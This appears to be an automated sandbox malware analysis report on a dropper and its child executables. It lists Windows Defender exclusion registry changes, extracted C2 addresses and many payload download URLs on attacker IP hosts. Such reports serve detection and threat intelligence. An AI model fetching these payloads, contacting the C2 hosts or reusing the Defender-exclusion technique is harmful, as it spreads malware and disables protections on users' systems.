Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdbhhh source: CHA0VZiz8y.exe, 00000000.00000003.2138600045.000000000441E000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2139765657.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138058247.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000000.2266954848.00007FF762EB9000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe, 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdbfffGCTL source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdb source: CHA0VZiz8y.exe, 00000000.00000003.2138600045.000000000441E000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2139765657.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138058247.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000000.2266954848.00007FF762EB9000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2606812448.0000000004141000.00000004.00000800.00020000.00000000.sdmp, A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2606812448.00000000042CC000.00000004.00000800.00020000.00000000.sdmp, A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000002.2650479083.00000000056BA000.00000004.08000000.00040000.00000000.sdmp

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe

Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: 9_2_00464303 FindFirstFileExW,		9_2_00464303
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: 11_2_00AB4303 FindFirstFileExW,		11_2_00AB4303

Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	14_2_05263C22
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	14_2_05263C28
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then jmp 0526BF2Ah	14_2_0526BE78
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	14_2_05262928
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	14_2_0526291C
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	14_2_052638F1
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	14_2_052638F8
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	14_2_0526C338
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	14_2_05263B10
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	14_2_05263B18
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	14_2_0526C340
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	14_2_05263A00
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	14_2_05263A08
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 4x nop then jmp 0526BF2Ah	14_2_0526BA9B

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199689717899
Source: Malware configuration extractor	URLs: http://cajgtus.com/lancer/get.php
Source: Malware configuration extractor	URLs: 5.42.65.115:40551

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: isZ9GxcFctWxrbwIS510G1_x.exe.0.dr
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: qSpvH8vXzrocweuI4m2T_hvd.exe.0.dr
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: iZZwIALp4_JozG9BWBx9J6Ng.exe.0.dr

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 85.192.56.26 85.192.56.26
Source: Joe Sandbox View	IP Address: 85.192.56.26 85.192.56.26

Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134495582.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138181954.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exeF
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exephpX
Source: CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/pelikan
Source: CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/pelikanf
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.159/dl.php
Source: CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.159/dl.php.exe$
Source: CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.159/dl.phpO
Source: CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.159/dl.phpP
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.65.116/lumma2305.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exe4
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exeK
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exeR
Source: CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exeV
Source: CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exel
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/Retailer_prog.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AB7000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AB7000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.php
Source: CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AB7000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AB7000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.phpEks
Source: CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.phpX
Source: CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.phpwj
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.php
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phphp
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phphpb
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php#
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php7
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/W
Source: CHA0VZiz8y.exe, 00000000.00000003.2061680324.00000000004CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/bing_release.php
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.php
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.php06
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.phpDat
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.phpdow
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.phpt
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/api/flash.phpxB
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26/z
Source: CHA0VZiz8y.exe, 00000000.00000003.2061926794.00000000004A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26:80/api/bing_release.php:
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26:80/api/flash.php
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26:80/api/flash.phpA
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.56.26:80/api/flash.phpso
Source: CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.23
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.232/o2i3jroi23joj23ikrjokij3oroi.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.232/o2i3jroi23joj23ikrjokij3oroi.exe:
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: CHA0VZiz8y.exe, 00000000.00000003.2164957983.00000000065E5000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2165595509.0000000006B12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
